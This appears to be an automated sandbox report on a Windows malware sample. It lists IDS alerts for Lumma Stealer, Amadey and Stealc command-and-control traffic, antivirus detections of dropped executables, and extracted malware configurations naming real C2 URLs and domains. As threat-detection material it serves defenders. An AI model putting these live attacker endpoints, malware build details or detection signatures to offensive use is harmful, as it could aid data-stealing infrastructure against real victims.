2024-11-01T10:58:56.684583+0100	2028371	3	Unknown Traffic	192.168.2.4	50195	104.21.85.194	443	TCP
2024-11-01T10:58:57.980104+0100	2028371	3	Unknown Traffic	192.168.2.4	50197	104.21.85.194	443	TCP
2024-11-01T10:58:59.471803+0100	2028371	3	Unknown Traffic	192.168.2.4	50198	104.21.85.194	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:55:56.295066+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-11-01T10:55:57.410576+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-11-01T10:56:08.914903+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49737	188.114.97.3	443	TCP
2024-11-01T10:57:25.116387+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49910	188.114.97.3	443	TCP
2024-11-01T10:57:27.126012+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49920	188.114.97.3	443	TCP
2024-11-01T10:57:36.385014+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49978	188.114.97.3	443	TCP
2024-11-01T10:57:37.898006+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49989	188.114.97.3	443	TCP
2024-11-01T10:57:48.082497+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50072	188.114.97.3	443	TCP
2024-11-01T10:57:48.484707+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50073	188.114.97.3	443	TCP
2024-11-01T10:58:14.882240+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50113	188.114.97.3	443	TCP
2024-11-01T10:58:16.376318+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50115	188.114.97.3	443	TCP
2024-11-01T10:58:24.810244+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50127	104.21.85.194	443	TCP
2024-11-01T10:58:25.201946+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50126	188.114.97.3	443	TCP
2024-11-01T10:58:26.170846+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50129	104.21.85.194	443	TCP
2024-11-01T10:58:36.940550+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50158	104.21.85.194	443	TCP
2024-11-01T10:58:51.095295+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50186	104.21.85.194	443	TCP
2024-11-01T10:58:52.300168+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50187	104.21.85.194	443	TCP
2024-11-01T10:58:59.923886+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50198	104.21.85.194	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:55:56.295066+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-11-01T10:57:25.116387+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49910	188.114.97.3	443	TCP
2024-11-01T10:57:36.385014+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49978	188.114.97.3	443	TCP
2024-11-01T10:58:14.882240+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50113	188.114.97.3	443	TCP
2024-11-01T10:58:24.810244+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50127	104.21.85.194	443	TCP
2024-11-01T10:58:51.095295+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50186	104.21.85.194	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:55:57.410576+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-11-01T10:57:27.126012+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49920	188.114.97.3	443	TCP
2024-11-01T10:57:37.898006+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49989	188.114.97.3	443	TCP
2024-11-01T10:58:16.376318+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50115	188.114.97.3	443	TCP
2024-11-01T10:58:26.170846+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50129	104.21.85.194	443	TCP
2024-11-01T10:58:52.300168+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50187	104.21.85.194	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (authorisev .site in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:58:24.655869+0100	2057072	1	Domain Observed Used for C2 Detected	192.168.2.4	50127	104.21.85.194	443	TCP
2024-11-01T10:58:25.498979+0100	2057072	1	Domain Observed Used for C2 Detected	192.168.2.4	50129	104.21.85.194	443	TCP
2024-11-01T10:58:26.933396+0100	2057072	1	Domain Observed Used for C2 Detected	192.168.2.4	50131	104.21.85.194	443	TCP
2024-11-01T10:58:28.251132+0100	2057072	1	Domain Observed Used for C2 Detected	192.168.2.4	50133	104.21.85.194	443	TCP
2024-11-01T10:58:29.832953+0100	2057072	1	Domain Observed Used for C2 Detected	192.168.2.4	50134	104.21.85.194	443	TCP
2024-11-01T10:58:31.357581+0100	2057072	1	Domain Observed Used for C2 Detected	192.168.2.4	50141	104.21.85.194	443	TCP
2024-11-01T10:58:33.837280+0100	2057072	1	Domain Observed Used for C2 Detected	192.168.2.4	50147	104.21.85.194	443	TCP
2024-11-01T10:58:36.214647+0100	2057072	1	Domain Observed Used for C2 Detected	192.168.2.4	50158	104.21.85.194	443	TCP
2024-11-01T10:58:50.945786+0100	2057072	1	Domain Observed Used for C2 Detected	192.168.2.4	50186	104.21.85.194	443	TCP
2024-11-01T10:58:51.816131+0100	2057072	1	Domain Observed Used for C2 Detected	192.168.2.4	50187	104.21.85.194	443	TCP
2024-11-01T10:58:53.035423+0100	2057072	1	Domain Observed Used for C2 Detected	192.168.2.4	50189	104.21.85.194	443	TCP
2024-11-01T10:58:54.287354+0100	2057072	1	Domain Observed Used for C2 Detected	192.168.2.4	50191	104.21.85.194	443	TCP
2024-11-01T10:58:55.304036+0100	2057072	1	Domain Observed Used for C2 Detected	192.168.2.4	50194	104.21.85.194	443	TCP
2024-11-01T10:58:56.684583+0100	2057072	1	Domain Observed Used for C2 Detected	192.168.2.4	50195	104.21.85.194	443	TCP
2024-11-01T10:58:57.980104+0100	2057072	1	Domain Observed Used for C2 Detected	192.168.2.4	50197	104.21.85.194	443	TCP
2024-11-01T10:58:59.471803+0100	2057072	1	Domain Observed Used for C2 Detected	192.168.2.4	50198	104.21.85.194	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:55:55.655613+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-11-01T10:55:56.948469+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-11-01T10:55:58.229241+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49732	188.114.97.3	443	TCP
2024-11-01T10:55:59.600939+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	188.114.97.3	443	TCP
2024-11-01T10:56:01.098720+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	188.114.97.3	443	TCP
2024-11-01T10:56:02.788751+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49735	188.114.97.3	443	TCP
2024-11-01T10:56:04.266060+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49736	188.114.97.3	443	TCP
2024-11-01T10:56:08.454124+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49737	188.114.97.3	443	TCP
2024-11-01T10:57:24.618615+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49910	188.114.97.3	443	TCP
2024-11-01T10:57:26.435960+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49920	188.114.97.3	443	TCP
2024-11-01T10:57:29.087395+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49932	188.114.97.3	443	TCP
2024-11-01T10:57:30.593139+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49946	188.114.97.3	443	TCP
2024-11-01T10:57:32.410702+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49957	188.114.97.3	443	TCP
2024-11-01T10:57:35.675617+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49978	188.114.97.3	443	TCP
2024-11-01T10:57:37.391494+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49989	188.114.97.3	443	TCP
2024-11-01T10:57:37.471214+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49990	188.114.97.3	443	TCP
2024-11-01T10:57:39.010381+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50002	188.114.97.3	443	TCP
2024-11-01T10:57:40.624050+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50026	188.114.97.3	443	TCP
2024-11-01T10:57:41.975461+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50035	188.114.97.3	443	TCP
2024-11-01T10:57:43.440916+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50049	188.114.97.3	443	TCP
2024-11-01T10:57:45.978107+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50058	188.114.97.3	443	TCP
2024-11-01T10:57:45.987367+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50056	188.114.97.3	443	TCP
2024-11-01T10:57:47.599649+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50072	188.114.97.3	443	TCP
2024-11-01T10:57:48.034495+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50073	188.114.97.3	443	TCP
2024-11-01T10:58:14.349475+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50113	188.114.97.3	443	TCP
2024-11-01T10:58:15.876212+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50115	188.114.97.3	443	TCP
2024-11-01T10:58:17.274062+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50116	188.114.97.3	443	TCP
2024-11-01T10:58:18.475976+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50118	188.114.97.3	443	TCP
2024-11-01T10:58:19.663931+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50119	188.114.97.3	443	TCP
2024-11-01T10:58:21.023684+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50122	188.114.97.3	443	TCP
2024-11-01T10:58:22.987515+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50125	188.114.97.3	443	TCP
2024-11-01T10:58:24.533606+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	50126	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:56:09.811584+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49738	185.215.113.16	80	TCP
2024-11-01T10:57:35.746152+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49975	185.215.113.16	80	TCP
2024-11-01T10:57:49.018587+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50075	185.215.113.16	80	TCP
2024-11-01T10:57:49.413275+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50076	185.215.113.16	80	TCP
2024-11-01T10:58:26.128952+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50130	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:57:14.751761+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49854	185.215.113.43	80	TCP
2024-11-01T10:57:18.129007+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49870	185.215.113.43	80	TCP
2024-11-01T10:57:24.031005+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49903	185.215.113.43	80	TCP
2024-11-01T10:57:29.777968+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49939	185.215.113.43	80	TCP
2024-11-01T10:57:34.817911+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49971	185.215.113.43	80	TCP
2024-11-01T10:57:40.462857+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50016	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (authorisev .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:58:24.020714+0100	2057071	1	Domain Observed Used for C2 Detected	192.168.2.4	54814	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:55:54.951112+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	56920	1.1.1.1	53	UDP
2024-11-01T10:57:23.960149+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	59295	1.1.1.1	53	UDP
2024-11-01T10:57:34.989474+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	49332	1.1.1.1	53	UDP
2024-11-01T10:58:13.529986+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.4	62871	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:55:54.961783+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	61392	1.1.1.1	53	UDP
2024-11-01T10:57:23.976834+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	52094	1.1.1.1	53	UDP
2024-11-01T10:57:35.002780+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	49916	1.1.1.1	53	UDP
2024-11-01T10:58:13.553623+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.4	49457	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:55:54.982388+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.4	57060	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:55:54.939885+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	61870	1.1.1.1	53	UDP
2024-11-01T10:57:23.947430+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	51178	1.1.1.1	53	UDP
2024-11-01T10:57:34.971278+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	53957	1.1.1.1	53	UDP
2024-11-01T10:58:13.514802+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.4	52181	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:55:54.972082+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	56160	1.1.1.1	53	UDP
2024-11-01T10:57:23.989484+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	57952	1.1.1.1	53	UDP
2024-11-01T10:57:35.016801+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	50317	1.1.1.1	53	UDP
2024-11-01T10:58:13.661392+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.4	62875	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:56:04.274779+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49736	188.114.97.3	443	TCP
2024-11-01T10:57:29.685775+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49932	188.114.97.3	443	TCP
2024-11-01T10:58:21.710682+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50122	188.114.97.3	443	TCP
2024-11-01T10:58:27.543047+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50131	104.21.85.194	443	TCP
2024-11-01T10:58:58.651256+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50197	104.21.85.194	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:57:29.661291+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49933	185.215.113.206	80	TCP
2024-11-01T10:57:38.566015+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49991	185.215.113.206	80	TCP
2024-11-01T10:57:45.697352+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50055	185.215.113.206	80	TCP
2024-11-01T10:58:04.880588+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50100	185.215.113.206	80	TCP
2024-11-01T10:58:23.623964+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50124	185.215.113.206	80	TCP
2024-11-01T10:58:39.987547+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50179	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:57:05.803131+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49801	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:57:13.848491+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49817	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:57:09.189273+0100	2803305	3	Unknown Traffic	192.168.2.4	49820	31.41.244.11	80	TCP
2024-11-01T10:57:19.056280+0100	2803305	3	Unknown Traffic	192.168.2.4	49878	185.215.113.16	80	TCP
2024-11-01T10:57:24.967780+0100	2803305	3	Unknown Traffic	192.168.2.4	49911	185.215.113.16	80	TCP
2024-11-01T10:57:30.691189+0100	2803305	3	Unknown Traffic	192.168.2.4	49945	185.215.113.16	80	TCP
2024-11-01T10:57:35.746152+0100	2803305	3	Unknown Traffic	192.168.2.4	49975	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T10:57:45.990916+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50058	188.114.97.3	443	TCP
2024-11-01T10:57:46.888187+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50056	188.114.97.3	443	TCP
2024-11-01T10:58:23.023410+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50125	188.114.97.3	443	TCP
2024-11-01T10:58:58.651256+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50197	104.21.85.194	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.php

URL Reputation: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\7URDKE3CJSA37VV3INEEM0S4N1C.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1003145001\1553f88169.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000003.00000002.1900844822.0000000000391000.00000040.00000001.01000000.00000008.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.6800.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["necklacedmny.store", "crisiwarny.store", "thumbystriw.store", "founpiuer.store", "navygenerayk.store", "scriptyprefej.store", "fadehairucw.store", "presticitpo.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1003145001\1553f88169.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1003146001\661f3ff865.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1003147001\num.exe	ReversingLabs: Detection: 95%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.3% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003146001\661f3ff865.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\SWJQ0719J9GFR3PZ91XO7LBLZA7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003147001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7URDKE3CJSA37VV3INEEM0S4N1C.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1003145001\1553f88169.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49932 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50126 version: TLS 1.2

Source:	Binary string: C:\dvs\p4\build\sw\devrel\Playpen\yyao\VRBench\VR-FCAT\FVSDK_rel_1_0\Symbols\FCAT_DT_Capture_x64.pdb source: is-5MQTR.tmp.11.dr
Source:	Binary string: C:\dvs\p4\build\sw\devrel\Playpen\yyao\VRBench\VR-FCAT\FVSDK_rel_1_0\Symbols\FCAT_DT_Capture_x64.pdbz source: is-5MQTR.tmp.11.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: FT773VWATWFL9SRK5RTU4.exe, 00000002.00000003.1848208544.0000000005050000.00000004.00001000.00020000.00000000.sdmp, FT773VWATWFL9SRK5RTU4.exe, 00000002.00000002.1981148495.0000000000A52000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: c:\zlib-dll\Release\isunzlib.pdb source: fontcreator.tmp, 00000009.00000003.2434759693.0000000000CB0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000009.00000003.2431452405.0000000003580000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000000B.00000003.2498773569.0000000001260000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 0000001A.00000003.2469294133.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, fontcreator.tmp, 00000020.00000003.2546020895.0000000002500000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
